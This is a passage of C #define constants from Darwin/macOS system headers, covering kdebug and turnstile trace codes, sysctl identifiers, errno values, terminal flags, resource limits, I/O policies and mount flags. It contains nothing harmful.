0x2D\n#define IMP_TASK_POLICY_SUP_ACTIVE 0x2E\n#define IMP_TASK_POLICY_LATENCY_QOS 0x2F\n#define IMP_TASK_POLICY_THROUGH_QOS 0x30\n#define IMP_TASK_POLICY_WATCHERS_BG 0x31\n#define IMP_TASK_POLICY_SFI_MANAGED 0x34\n#define IMP_TASK_POLICY_ALL_SOCKETS_BG 0x37\n#define IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS 0x39\n#define IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS 0x3A\n#define IMP_TASK_POLICY_PIDBIND_BG 0x32\n#define IMP_TASK_POLICY_QOS_OVERRIDE 0x36\n#define IMP_TASK_POLICY_QOS_AND_RELPRIO 0x38\n#define IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE 0x3B\n#define IMP_TASK_POLICY_QOS_PROMOTE 0x3C\n#define IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE 0x3D\n#define IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE 0x3E\n#define IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE 0x3F\n#define IMP_TASK_POLICY_WI_DRIVEN 0x40\n#define IMP_HOLD 0x2\n#define IMP_DROP 0x4\n#define IMP_EXTERN 0x8\n#define IMP_BOOSTED 0x1\n#define IMP_UNBOOSTED 0x2\n#define IMP_MSG_SEND 0x1\n#define IMP_MSG_DELV 0x2\n#define IMP_UPDATE_TASK_CREATE 0x1\n#define IMP_USYNCH_ADD_OVERRIDE 0x0\n#define IMP_USYNCH_REMOVE_OVERRIDE 0x1\n#define IMP_DONOR_UPDATE_LIVE_DONOR_STATE 0x0\n#define IMP_DONOR_INIT_DONOR_STATE 0x1\n#define IMP_SYNC_IPC_QOS_APPLIED 0x0\n#define IMP_SYNC_IPC_QOS_REMOVED 0x1\n#define IMP_SYNC_IPC_QOS_OVERFLOW 0x2\n#define IMP_SYNC_IPC_QOS_UNDERFLOW 0x3\n#define TURNSTILE_HEAP_OPERATIONS 0x10\n#define TURNSTILE_PRIORITY_OPERATIONS 0x20\n#define TURNSTILE_FREELIST_OPERATIONS 0x30\n#define THREAD_ADDED_TO_TURNSTILE_WAITQ 0x1\n#define THREAD_REMOVED_FROM_TURNSTILE_WAITQ 0x2\n#define THREAD_MOVED_IN_TURNSTILE_WAITQ 0x3\n#define TURNSTILE_ADDED_TO_TURNSTILE_HEAP 0x4\n#define TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP 0x5\n#define TURNSTILE_MOVED_IN_TURNSTILE_HEAP 0x6\n#define TURNSTILE_ADDED_TO_THREAD_HEAP 0x7\n#define TURNSTILE_REMOVED_FROM_THREAD_HEAP 0x8\n#define TURNSTILE_MOVED_IN_THREAD_HEAP 0x9\n#define TURNSTILE_UPDATE_STOPPED_BY_LIMIT 0xa\n#define THREAD_NOT_WAITING_ON_TURNSTILE 0xb\n#define TURNSTILE_PRIORITY_CHANGE 0x1\n#define THREAD_USER_PROMOTION_CHANGE 0x2\n#define TURNSTILE_PREPARE 0x1\n#define TURNSTILE_COMPLETE 0x2\n#define BANK_ACCOUNT_INFO 0x10\n#define BANK_TASK_INFO 0x11\n#define ATM_SUBAID_INFO 0x10\n#define ATM_GETVALUE_INFO 0x20\n#define ATM_UNREGISTER_INFO 0x30\n#define BANK_SETTLE_CPU_TIME 0x1\n#define BANK_SECURE_ORIGINATOR_CHANGED 0x2\n#define BANK_SETTLE_ENERGY 0x3\n#define ATM_MIN_CALLED 0x1\n#define ATM_LINK_LIST_TRIM 0x2\n#define ATM_VALUE_REPLACED 0x1\n#define ATM_VALUE_ADDED 0x2\n#define ATM_VALUE_UNREGISTERED 0x1\n#define ATM_VALUE_DIFF_MAILBOX 0x2\n#define DBG_DAEMON_COREDUET 0x1\n#define DBG_DAEMON_POWERD 0x2\n#define DBG_UMALLOC_EXTERNAL 0x1\n#define DBG_UMALLOC_INTERNAL 0x2\n#define BSD 199506\n#define BSD4_3 1\n#define BSD4_4 1\n#define NeXTBSD 1995064\n#define NeXTBSD4_0 0\n#define MAXCOMLEN 16\n#define MAXINTERP 64\n#define MAXLOGNAME 255\n#define NOFILE 256\n#define NOGROUP 65535\n#define MAXHOSTNAMELEN 256\n#define MAXDOMNAMELEN 256\n#define PSWP 0\n#define PVM 4\n#define PINOD 8\n#define PRIBIO 16\n#define PVFS 20\n#define PZERO 22\n#define PSOCK 24\n#define PWAIT 32\n#define PLOCK 36\n#define PPAUSE 40\n#define PUSER 50\n#define MAXPRI 127\n#define PRIMASK 0x0ff\n#define PCATCH 0x100\n#define PTTYBLOCK 0x200\n#define PDROP 0x400\n#define PSPIN 0x800\n#define CMASK 0022\n#define CBLOCK 64\n#define MAXFRAG 8\n#define MAXSYMLINKS 32\n#define FSHIFT 11\n#define LF_NOT_BOOSTED 0\n#define LF_BOOSTED 1\n#define PSHMNAMLEN 31\n#define SHM_RDONLY 0010000\n#define SHM_RND 0020000\n#define SHMLBA 4096\n#define TIOCM_LE 00001\n#define TIOCM_DTR 00002\n#define TIOCM_RTS 00004\n#define TIOCM_ST 00010\n#define TIOCM_SR 00020\n#define TIOCM_CTS 00040\n#define TIOCM_CAR 00100\n#define TIOCM_RNG 00200\n#define TIOCM_DSR 00400\n#define TIOCPKT_DATA 0x00\n#define TIOCPKT_FLUSHREAD 0x01\n#define TIOCPKT_FLUSHWRITE 0x02\n#define TIOCPKT_STOP 0x04\n#define TIOCPKT_START 0x08\n#define TIOCPKT_NOSTOP 0x10\n#define TIOCPKT_DOSTOP 0x20\n#define TIOCPKT_IOCTL 0x40\n#define TTYDISC 0\n#define TABLDISC 3\n#define SLIPDISC 4\n#define PPPDISC 5\n#define CTL_MAXNAME 12\n#define CTLTYPE 0xf\n#define CTLTYPE_NODE 1\n#define CTLTYPE_INT 2\n#define CTLTYPE_STRING 3\n#define CTLTYPE_QUAD 4\n#define CTLTYPE_OPAQUE 5\n#define CTLFLAG_RD 0x80000000\n#define CTLFLAG_WR 0x40000000\n#define CTLFLAG_NOLOCK 0x20000000\n#define CTLFLAG_ANYBODY 0x10000000\n#define CTLFLAG_SECURE 0x08000000\n#define CTLFLAG_MASKED 0x04000000\n#define CTLFLAG_NOAUTO 0x02000000\n#define CTLFLAG_KERN 0x01000000\n#define CTLFLAG_LOCKED 0x00800000\n#define CTLFLAG_OID2 0x00400000\n#define CTLFLAG_EXPERIMENT 0x00100000\n#define OID_AUTO_START 100\n#define SYSCTL_OID_VERSION 1\n#define SYSCTL_SKMEM 1\n#define CTL_UNSPEC 0\n#define CTL_KERN 1\n#define CTL_VM 2\n#define CTL_VFS 3\n#define CTL_NET 4\n#define CTL_DEBUG 5\n#define CTL_HW 6\n#define CTL_MACHDEP 7\n#define CTL_USER 8\n#define CTL_MAXID 9\n#define KERN_OSTYPE 1\n#define KERN_OSRELEASE 2\n#define KERN_OSREV 3\n#define KERN_VERSION 4\n#define KERN_MAXVNODES 5\n#define KERN_MAXPROC 6\n#define KERN_MAXFILES 7\n#define KERN_ARGMAX 8\n#define KERN_SECURELVL 9\n#define KERN_HOSTNAME 10\n#define KERN_HOSTID 11\n#define KERN_CLOCKRATE 12\n#define KERN_VNODE 13\n#define KERN_PROC 14\n#define KERN_FILE 15\n#define KERN_PROF 16\n#define KERN_POSIX1 17\n#define KERN_NGROUPS 18\n#define KERN_JOB_CONTROL 19\n#define KERN_SAVED_IDS 20\n#define KERN_BOOTTIME 21\n#define KERN_NISDOMAINNAME 22\n#define KERN_MAXPARTITIONS 23\n#define KERN_KDEBUG 24\n#define KERN_UPDATEINTERVAL 25\n#define KERN_OSRELDATE 26\n#define KERN_NTP_PLL 27\n#define KERN_BOOTFILE 28\n#define KERN_MAXFILESPERPROC 29\n#define KERN_MAXPROCPERUID 30\n#define KERN_DUMPDEV 31\n#define KERN_IPC 32\n#define KERN_DUMMY 33\n#define KERN_PS_STRINGS 34\n#define KERN_USRSTACK32 35\n#define KERN_LOGSIGEXIT 36\n#define KERN_SYMFILE 37\n#define KERN_PROCARGS 38\n#define KERN_NETBOOT 40\n#define KERN_SYSV 42\n#define KERN_AFFINITY 43\n#define KERN_TRANSLATE 44\n#define KERN_EXEC 45\n#define KERN_AIOMAX 46\n#define KERN_AIOPROCMAX 47\n#define KERN_AIOTHREADS 48\n#define KERN_PROCARGS2 49\n#define KERN_COREFILE 50\n#define KERN_COREDUMP 51\n#define KERN_SUGID_COREDUMP 52\n#define KERN_PROCDELAYTERM 53\n#define KERN_SHREG_PRIVATIZABLE 54\n#define KERN_LOW_PRI_WINDOW 56\n#define KERN_LOW_PRI_DELAY 57\n#define KERN_POSIX 58\n#define KERN_USRSTACK64 59\n#define KERN_NX_PROTECTION 60\n#define KERN_TFP 61\n#define KERN_PROCNAME 62\n#define KERN_THALTSTACK 63\n#define KERN_SPECULATIVE_READS 64\n#define KERN_OSVERSION 65\n#define KERN_SAFEBOOT 66\n#define KERN_RAGEVNODE 68\n#define KERN_TTY 69\n#define KERN_CHECKOPENEVT 70\n#define KERN_THREADNAME 71\n#define KERN_MAXID 72\n#define KERN_RAGE_PROC 1\n#define KERN_RAGE_THREAD 2\n#define KERN_UNRAGE_PROC 3\n#define KERN_UNRAGE_THREAD 4\n#define KERN_OPENEVT_PROC 1\n#define KERN_UNOPENEVT_PROC 2\n#define KERN_TFP_POLICY 1\n#define KERN_TFP_POLICY_DENY 0\n#define KERN_TFP_POLICY_DEFAULT 2\n#define KERN_KDEFLAGS 1\n#define KERN_KDDFLAGS 2\n#define KERN_KDENABLE 3\n#define KERN_KDSETBUF 4\n#define KERN_KDGETBUF 5\n#define KERN_KDSETUP 6\n#define KERN_KDREMOVE 7\n#define KERN_KDSETREG 8\n#define KERN_KDGETREG 9\n#define KERN_KDREADTR 10\n#define KERN_KDPIDTR 11\n#define KERN_KDTHRMAP 12\n#define KERN_KDPIDEX 14\n#define KERN_KDSETRTCDEC 15\n#define KERN_KDGETENTROPY 16\n#define KERN_KDWRITETR 17\n#define KERN_KDWRITEMAP 18\n#define KERN_KDTEST 19\n#define KERN_KDREADCURTHRMAP 21\n#define KERN_KDSET_TYPEFILTER 22\n#define KERN_KDBUFWAIT 23\n#define KERN_KDCPUMAP 24\n#define KERN_KDCPUMAP_EXT 25\n#define KERN_KDSET_EDM 26\n#define KERN_KDGET_EDM 27\n#define KERN_KDWRITETR_V3 28\n#define KERN_PROC_ALL 0\n#define KERN_PROC_PID 1\n#define KERN_PROC_PGRP 2\n#define KERN_PROC_SESSION 3\n#define KERN_PROC_TTY 4\n#define KERN_PROC_UID 5\n#define KERN_PROC_RUID 6\n#define KERN_PROC_LCID 7\n#define KERN_VFSNSPACE_HANDLE_PROC 1\n#define KERN_VFSNSPACE_UNHANDLE_PROC 2\n#define KIPC_MAXSOCKBUF 1\n#define KIPC_SOCKBUF_WASTE 2\n#define KIPC_SOMAXCONN 3\n#define KIPC_MAX_LINKHDR 4\n#define KIPC_MAX_PROTOHDR 5\n#define KIPC_MAX_HDR 6\n#define KIPC_MAX_DATALEN 7\n#define KIPC_MBSTAT 8\n#define KIPC_NMBCLUSTERS 9\n#define KIPC_SOQLIMITCOMPAT 10\n#define VM_METER 1\n#define VM_LOADAVG 2\n#define VM_MACHFACTOR 4\n#define VM_SWAPUSAGE 5\n#define VM_MAXID 6\n#define LSCALE 1000\n#define HW_MACHINE 1\n#define HW_MODEL 2\n#define HW_NCPU 3\n#define HW_BYTEORDER 4\n#define HW_PHYSMEM 5\n#define HW_USERMEM 6\n#define HW_PAGESIZE 7\n#define HW_DISKNAMES 8\n#define HW_DISKSTATS 9\n#define HW_EPOCH 10\n#define HW_FLOATINGPT 11\n#define HW_MACHINE_ARCH 12\n#define HW_VECTORUNIT 13\n#define HW_BUS_FREQ 14\n#define HW_CPU_FREQ 15\n#define HW_CACHELINE 16\n#define HW_L1ICACHESIZE 17\n#define HW_L1DCACHESIZE 18\n#define HW_L2SETTINGS 19\n#define HW_L2CACHESIZE 20\n#define HW_L3SETTINGS 21\n#define HW_L3CACHESIZE 22\n#define HW_TB_FREQ 23\n#define HW_MEMSIZE 24\n#define HW_AVAILCPU 25\n#define HW_TARGET 26\n#define HW_PRODUCT 27\n#define HW_MAXID 28\n#define USER_CS_PATH 1\n#define USER_BC_BASE_MAX 2\n#define USER_BC_DIM_MAX 3\n#define USER_BC_SCALE_MAX 4\n#define USER_BC_STRING_MAX 5\n#define USER_COLL_WEIGHTS_MAX 6\n#define USER_EXPR_NEST_MAX 7\n#define USER_LINE_MAX 8\n#define USER_RE_DUP_MAX 9\n#define USER_POSIX2_VERSION 10\n#define USER_POSIX2_C_BIND 11\n#define USER_POSIX2_C_DEV 12\n#define USER_POSIX2_CHAR_TERM 13\n#define USER_POSIX2_FORT_DEV 14\n#define USER_POSIX2_FORT_RUN 15\n#define USER_POSIX2_LOCALEDEF 16\n#define USER_POSIX2_SW_DEV 17\n#define USER_POSIX2_UPE 18\n#define USER_STREAM_MAX 19\n#define USER_TZNAME_MAX 20\n#define USER_MAXID 21\n#define CTL_DEBUG_NAME 0\n#define CTL_DEBUG_VALUE 1\n#define CTL_DEBUG_MAXID 20\n#define UTF_REVERSE_ENDIAN 0x0001\n#define UTF_NO_NULL_TERM 0x0002\n#define UTF_DECOMPOSED 0x0004\n#define UTF_PRECOMPOSED 0x0008\n#define UTF_ESCAPE_ILLEGAL 0x0010\n#define UTF_SFM_CONVERSIONS 0x0020\n#define PRIO_PROCESS 0\n#define PRIO_PGRP 1\n#define PRIO_USER 2\n#define PRIO_DARWIN_THREAD 3\n#define PRIO_DARWIN_PROCESS 4\n#define PRIO_MAX 20\n#define PRIO_DARWIN_BG 0x1000\n#define PRIO_DARWIN_NONUI 0x1001\n#define RUSAGE_SELF 0\n#define RUSAGE_INFO_V0 0\n#define RUSAGE_INFO_V1 1\n#define RUSAGE_INFO_V2 2\n#define RUSAGE_INFO_V3 3\n#define RUSAGE_INFO_V4 4\n#define RUSAGE_INFO_V5 5\n#define RUSAGE_INFO_V6 6\n#define RU_PROC_RUNS_RESLIDE 0x00000001\n#define RLIMIT_CPU 0\n#define RLIMIT_FSIZE 1\n#define RLIMIT_DATA 2\n#define RLIMIT_STACK 3\n#define RLIMIT_CORE 4\n#define RLIMIT_AS 5\n#define RLIMIT_MEMLOCK 6\n#define RLIMIT_NPROC 7\n#define RLIMIT_NOFILE 8\n#define RLIM_NLIMITS 9\n#define _RLIMIT_POSIX_FLAG 0x1000\n#define RLIMIT_WAKEUPS_MONITOR 0x1\n#define RLIMIT_CPU_USAGE_MONITOR 0x2\n#define RLIMIT_THREAD_CPULIMITS 0x3\n#define RLIMIT_FOOTPRINT_INTERVAL 0x4\n#define WAKEMON_ENABLE 0x01\n#define WAKEMON_DISABLE 0x02\n#define WAKEMON_GET_PARAMS 0x04\n#define WAKEMON_SET_DEFAULTS 0x08\n#define WAKEMON_MAKE_FATAL 0x10\n#define CPUMON_MAKE_FATAL 0x1000\n#define FOOTPRINT_INTERVAL_RESET 0x1\n#define IOPOL_TYPE_DISK 0\n#define IOPOL_TYPE_VFS_ATIME_UPDATES 2\n#define IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES 3\n#define IOPOL_TYPE_VFS_STATFS_NO_DATA_VOLUME 4\n#define IOPOL_TYPE_VFS_TRIGGER_RESOLVE 5\n#define IOPOL_TYPE_VFS_IGNORE_CONTENT_PROTECTION 6\n#define IOPOL_TYPE_VFS_IGNORE_PERMISSIONS 7\n#define IOPOL_TYPE_VFS_SKIP_MTIME_UPDATE 8\n#define IOPOL_TYPE_VFS_ALLOW_LOW_SPACE_WRITES 9\n#define IOPOL_TYPE_VFS_DISALLOW_RW_FOR_O_EVTONLY 10\n#define IOPOL_SCOPE_PROCESS 0\n#define IOPOL_SCOPE_THREAD 1\n#define IOPOL_SCOPE_DARWIN_BG 2\n#define IOPOL_DEFAULT 0\n#define IOPOL_IMPORTANT 1\n#define IOPOL_PASSIVE 2\n#define IOPOL_THROTTLE 3\n#define IOPOL_UTILITY 4\n#define IOPOL_STANDARD 5\n#define IOPOL_ATIME_UPDATES_DEFAULT 0\n#define IOPOL_ATIME_UPDATES_OFF 1\n#define IOPOL_MATERIALIZE_DATALESS_FILES_DEFAULT 0\n#define IOPOL_MATERIALIZE_DATALESS_FILES_OFF 1\n#define IOPOL_MATERIALIZE_DATALESS_FILES_ON 2\n#define IOPOL_VFS_STATFS_NO_DATA_VOLUME_DEFAULT 0\n#define IOPOL_VFS_STATFS_FORCE_NO_DATA_VOLUME 1\n#define IOPOL_VFS_TRIGGER_RESOLVE_DEFAULT 0\n#define IOPOL_VFS_TRIGGER_RESOLVE_OFF 1\n#define IOPOL_VFS_CONTENT_PROTECTION_DEFAULT 0\n#define IOPOL_VFS_CONTENT_PROTECTION_IGNORE 1\n#define IOPOL_VFS_IGNORE_PERMISSIONS_OFF 0\n#define IOPOL_VFS_IGNORE_PERMISSIONS_ON 1\n#define IOPOL_VFS_SKIP_MTIME_UPDATE_OFF 0\n#define IOPOL_VFS_SKIP_MTIME_UPDATE_ON 1\n#define IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_OFF 0\n#define IOPOL_VFS_ALLOW_LOW_SPACE_WRITES_ON 1\n#define IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_DEFAULT 0\n#define IOPOL_VFS_DISALLOW_RW_FOR_O_EVTONLY_ON 1\n#define IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_DEFAULT 0\n#define IOPOL_VFS_NOCACHE_WRITE_FS_BLKSIZE_ON 1\n#define IOCPARM_MASK 0x1fff\n#define XATTR_NOFOLLOW 0x0001\n#define XATTR_CREATE 0x0002\n#define XATTR_REPLACE 0x0004\n#define XATTR_NOSECURITY 0x0008\n#define XATTR_NODEFAULT 0x0010\n#define XATTR_SHOWCOMPRESSION 0x0020\n#define XATTR_NOFOLLOW_ANY 0x0040\n#define XATTR_MAXNAMELEN 127\n#define PR_SLOWHZ 2\n#define PRC_IFDOWN 0\n#define PRC_ROUTEDEAD 1\n#define PRC_IFUP 2\n#define PRC_QUENCH2 3\n#define PRC_QUENCH 4\n#define PRC_MSGSIZE 5\n#define PRC_HOSTDEAD 6\n#define PRC_HOSTUNREACH 7\n#define PRC_UNREACH_NET 8\n#define PRC_UNREACH_HOST 9\n#define PRC_UNREACH_PROTOCOL 10\n#define PRC_UNREACH_PORT 11\n#define PRC_UNREACH_SRCFAIL 13\n#define PRC_REDIRECT_NET 14\n#define PRC_REDIRECT_HOST 15\n#define PRC_REDIRECT_TOSNET 16\n#define PRC_REDIRECT_TOSHOST 17\n#define PRC_TIMXCEED_INTRANS 18\n#define PRC_TIMXCEED_REASS 19\n#define PRC_PARAMPROB 20\n#define PRC_UNREACH_ADMIN_PROHIB 21\n#define PRC_NCMDS 22\n#define KEV_CTL_SUBCLASS 2\n#define KEV_CTL_REGISTERED 1\n#define KEV_CTL_DEREGISTERED 2\n#define MAX_KCTL_NAME 96\n#define CTL_FLAG_PRIVILEGED 0x1\n#define CTL_FLAG_REG_ID_UNIT 0x2\n#define CTL_FLAG_REG_SOCK_STREAM 0x4\n#define CTL_DATA_NOWAKEUP 0x1\n#define CTL_DATA_EOR 0x2\n#define __has_safe_buffers 0\n#define __DARWIN_ONLY_64_BIT_INO_T 0\n#define __DARWIN_ONLY_UNIX_CONFORMANCE 0\n#define __DARWIN_ONLY_VERS_1050 0\n#define __STDC_WANT_LIB_EXT1__ 1\n#define __DARWIN_NO_LONG_LONG 0\n#define _DARWIN_FEATURE_64_BIT_INODE 1\n#define _DARWIN_FEATURE_ONLY_64_BIT_INODE 1\n#define _DARWIN_FEATURE_ONLY_VERS_1050 1\n#define _DARWIN_FEATURE_ONLY_UNIX_CONFORMANCE 1\n#define _DARWIN_FEATURE_UNIX_CONFORMANCE 3\n#define __has_ptrcheck 0\n#define MAXMAXPARTITIONS 22\n#define NDDATA 5\n#define NSPARE 5\n#define DTYPE_SMD 1\n#define DTYPE_MSCP 2\n#define DTYPE_DEC 3\n#define DTYPE_SCSI 4\n#define DTYPE_ESDI 5\n#define DTYPE_ST506 6\n#define DTYPE_HPIB 7\n#define DTYPE_HPFL 8\n#define DTYPE_FLOPPY 10\n#define FS_UNUSED 0\n#define FS_SWAP 1\n#define FS_V6 2\n#define FS_V7 3\n#define FS_SYSV 4\n#define FS_V71K 5\n#define FS_V8 6\n#define FS_BSDFFS 7\n#define FS_MSDOS 8\n#define FS_BSDLFS 9\n#define FS_OTHER 10\n#define FS_HPFS 11\n#define FS_ISO9660 12\n#define FS_BOOT 13\n#define FS_ADOS 14\n#define FS_HFS 15\n#define D_REMOVABLE 0x01\n#define D_ECC 0x02\n#define D_BADSECT 0x04\n#define D_RAMDISK 0x08\n#define D_CHAIN 0x10\n#define D_SSE 0x1\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EDEADLK 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EAGAIN 35\n#define EINPROGRESS 36\n#define EALREADY 37\n#define ENOTSOCK 38\n#define EDESTADDRREQ 39\n#define EMSGSIZE 40\n#define EPROTOTYPE 41\n#define ENOPROTOOPT 42\n#define EPROTONOSUPPORT 43\n#define ESOCKTNOSUPPORT 44\n#define ENOTSUP 45\n#define EPFNOSUPPORT 46\n#define EAFNOSUPPORT 47\n#define EADDRINUSE 48\n#define EADDRNOTAVAIL 49\n#define ENETDOWN 50\n#define ENETUNREACH 51\n#define ENETRESET 52\n#define ECONNABORTED 53\n#define ECONNRESET 54\n#define ENOBUFS 55\n#define EISCONN 56\n#define ENOTCONN 57\n#define ESHUTDOWN 58\n#define ETOOMANYREFS 59\n#define ETIMEDOUT 60\n#define ECONNREFUSED 61\n#define ELOOP 62\n#define ENAMETOOLONG 63\n#define EHOSTDOWN 64\n#define EHOSTUNREACH 65\n#define ENOTEMPTY 66\n#define EPROCLIM 67\n#define EUSERS 68\n#define EDQUOT 69\n#define ESTALE 70\n#define EREMOTE 71\n#define EBADRPC 72\n#define ERPCMISMATCH 73\n#define EPROGUNAVAIL 74\n#define EPROGMISMATCH 75\n#define EPROCUNAVAIL 76\n#define ENOLCK 77\n#define ENOSYS 78\n#define EFTYPE 79\n#define EAUTH 80\n#define ENEEDAUTH 81\n#define EPWROFF 82\n#define EDEVERR 83\n#define EOVERFLOW 84\n#define EBADEXEC 85\n#define EBADARCH 86\n#define ESHLIBVERS 87\n#define EBADMACHO 88\n#define ECANCELED 89\n#define EIDRM 90\n#define ENOMSG 91\n#define EILSEQ 92\n#define ENOATTR 93\n#define EBADMSG 94\n#define EMULTIHOP 95\n#define ENODATA 96\n#define ENOLINK 97\n#define ENOSR 98\n#define ENOSTR 99\n#define EPROTO 100\n#define ETIME 101\n#define EOPNOTSUPP 102\n#define ENOPOLICY 103\n#define ENOTRECOVERABLE 104\n#define EOWNERDEAD 105\n#define EQFULL 106\n#define ELAST 106\n#define VEOF 0\n#define VEOL 1\n#define VEOL2 2\n#define VERASE 3\n#define VWERASE 4\n#define VKILL 5\n#define VREPRINT 6\n#define VINTR 8\n#define VQUIT 9\n#define VSUSP 10\n#define VDSUSP 11\n#define VSTART 12\n#define VSTOP 13\n#define VLNEXT 14\n#define VDISCARD 15\n#define VMIN 16\n#define VTIME 17\n#define VSTATUS 18\n#define NCCS 20\n#define IGNBRK 0x00000001\n#define BRKINT 0x00000002\n#define IGNPAR 0x00000004\n#define PARMRK 0x00000008\n#define INPCK 0x00000010\n#define ISTRIP 0x00000020\n#define INLCR 0x00000040\n#define IGNCR 0x00000080\n#define ICRNL 0x00000100\n#define IXON 0x00000200\n#define IXOFF 0x00000400\n#define IXANY 0x00000800\n#define IMAXBEL 0x00002000\n#define IUTF8 0x00004000\n#define OPOST 0x00000001\n#define ONLCR 0x00000002\n#define OXTABS 0x00000004\n#define ONOEOT 0x00000008\n#define OCRNL 0x00000010\n#define ONOCR 0x00000020\n#define ONLRET 0x00000040\n#define OFILL 0x00000080\n#define NLDLY 0x00000300\n#define TABDLY 0x00000c04\n#define CRDLY 0x00003000\n#define FFDLY 0x00004000\n#define BSDLY 0x00008000\n#define VTDLY 0x00010000\n#define OFDEL 0x00020000\n#define TAB3 0x00000004\n#define VT0 0x00000000\n#define VT1 0x00010000\n#define CIGNORE 0x00000001\n#define CSIZE 0x00000300\n#define CS5 0x00000000\n#define CS6 0x00000100\n#define CS7 0x00000200\n#define CS8 0x00000300\n#define CSTOPB 0x00000400\n#define CREAD 0x00000800\n#define PARENB 0x00001000\n#define PARODD 0x00002000\n#define HUPCL 0x00004000\n#define CLOCAL 0x00008000\n#define CCTS_OFLOW 0x00010000\n#define CRTS_IFLOW 0x00020000\n#define CDTR_IFLOW 0x00040000\n#define CDSR_OFLOW 0x00080000\n#define CCAR_OFLOW 0x00100000\n#define ECHOKE 0x00000001\n#define ECHOE 0x00000002\n#define ECHOK 0x00000004\n#define ECHONL 0x00000010\n#define ECHOPRT 0x00000020\n#define ECHOCTL 0x00000040\n#define ISIG 0x00000080\n#define ICANON 0x00000100\n#define ALTWERASE 0x00000200\n#define IEXTEN 0x00000400\n#define EXTPROC 0x00000800\n#define NOKERNINFO 0x02000000\n#define TCSANOW 0\n#define TCSADRAIN 1\n#define TCSAFLUSH 2\n#define TCSASOFT 0x10\n#define B0 0\n#define B50 50\n#define B75 75\n#define B110 110\n#define B134 134\n#define B150 150\n#define B200 200\n#define B300 300\n#define B600 600\n#define B1200 1200\n#define B1800 1800\n#define B2400 2400\n#define B4800 4800\n#define B9600 9600\n#define B19200 19200\n#define B38400 38400\n#define B7200 7200\n#define B14400 14400\n#define B28800 28800\n#define B57600 57600\n#define B76800 76800\n#define B115200 115200\n#define B230400 230400\n#define EXTA 19200\n#define EXTB 38400\n#define RENAME_SECLUDE 0x00000001\n#define RENAME_SWAP 0x00000002\n#define RENAME_EXCL 0x00000004\n#define RENAME_RESERVED1 0x00000008\n#define RENAME_NOFOLLOW_ANY 0x00000010\n#define MFSNAMELEN 15\n#define MFSTYPENAMELEN 16\n#define MNAMELEN 90\n#define MNT_EXT_ROOT_DATA_VOL 0x00000001\n#define MNT_EXT_FSKIT 0x00000002\n#define MNT_RDONLY 0x00000001\n#define MNT_SYNCHRONOUS 0x00000002\n#define MNT_NOEXEC 0x00000004\n#define MNT_NOSUID 0x00000008\n#define MNT_NODEV 0x00000010\n#define MNT_UNION 0x00000020\n#define MNT_ASYNC 0x00000040\n#define MNT_CPROTECT 0x00000080\n#define MNT_EXPORTED 0x00000100\n#define MNT_REMOVABLE 0x00000200\n#define MNT_QUARANTINE 0x00000400\n#define MNT_LOCAL 0x00001000\n#define MNT_QUOTA 0x00002000\n#define MNT_ROOTFS 0x00004000\n#define MNT_DOVOLFS 0x00008000\n#define MNT_DONTBROWSE 0x00100000\n#define MNT_IGNORE_OWNERSHIP 0x00200000\n#define MNT_AUTOMOUNTED 0x00400000\n#define MNT_JOURNALED 0x00800000\n#define MNT_NOUSERXATTR 0x01000000\n#define MNT_DEFWRITE 0x02000000\n#define MNT_MULTILABEL 0x04000000\n#define MNT_NOFOLLOW 0x08000000\n#define MNT_NOATIME 0x10000000\n#define MNT_SNAPSHOT 0x40000000\n#define MNT_STRICTATIME 0x80000000\n#define MNT_UPDATE 0x00010000\n#define MNT_NOBLOCK 0x00020000\n#define MNT_RELOAD 0x00040000\n#define MNT_FORCE 0x00080000\n#define VFS_GENERIC 0\n#define VFS_NUMMNTOPS 1\n#define VFS_MAXTYPENUM 1\n#define VFS_CONF 2\n#define MNT_WAIT 1\n#define MNT_NOWAIT 2\n#define MNT_DWAIT 4\n#define MNT_VOLUME 8\n#define VFS_CTL_VERS1 0x01\n#define VFS_CTL_OSTATFS 0x00010001\n#define VFS_CTL_UMOUNT 0x00010002\n#define VFS_CTL_QUERY 0x00010003\n#define VFS_CTL_NEWADDR 0x00010004\n#define VFS_CTL_TIMEO 0x00010005\n#define VFS_CTL_NOLOCKS 0x00010006\n#define VFS_CTL_SADDR 0x00010007\n#define VFS_CTL_DISC 0x00010008\n#define VFS_CTL_SERVERINFO 0x00010009\n#define VFS_CTL_NSTATUS 0x0001000A\n#define VFS_CTL_STATFS64 0x0001000B\n#define VQ_NOTRESP 0x0001\n#define VQ_NEEDAUTH 0x0002\n#define VQ_LOWDISK 0x0004\n#define VQ_MOUNT 0x0008\n#define VQ_UNMOUNT 0x0010\n#define VQ_DEAD 0x0020\n#define VQ_ASSIST 0x0040\n#define VQ_NOTRESPLOCK 0x0080\n#define VQ_UPDATE 0x0100\n#define VQ_VERYLOWDISK 0x0200\n#define VQ_SYNCEVENT 0x0400\n#define VQ_SERVEREVENT 0x0800\n#define VQ_QUOTA 0x1000\n#define VQ_NEARLOWDISK 0x2000\n#define VQ_DESIRED_DISK 0x4000\n#define VQ_FREE_SPACE_CHANGE 0x8000\n#define VQ_PURGEABLE_SPACE_CHANGE 0x10000\n#define VQ_FLAG20000 0x20000\n#define VFS_IOATTR_FLAGS_FUA 0x00000001\n#define VFS_IOATTR_FLAGS_UNMAP 0x00000002\n#define 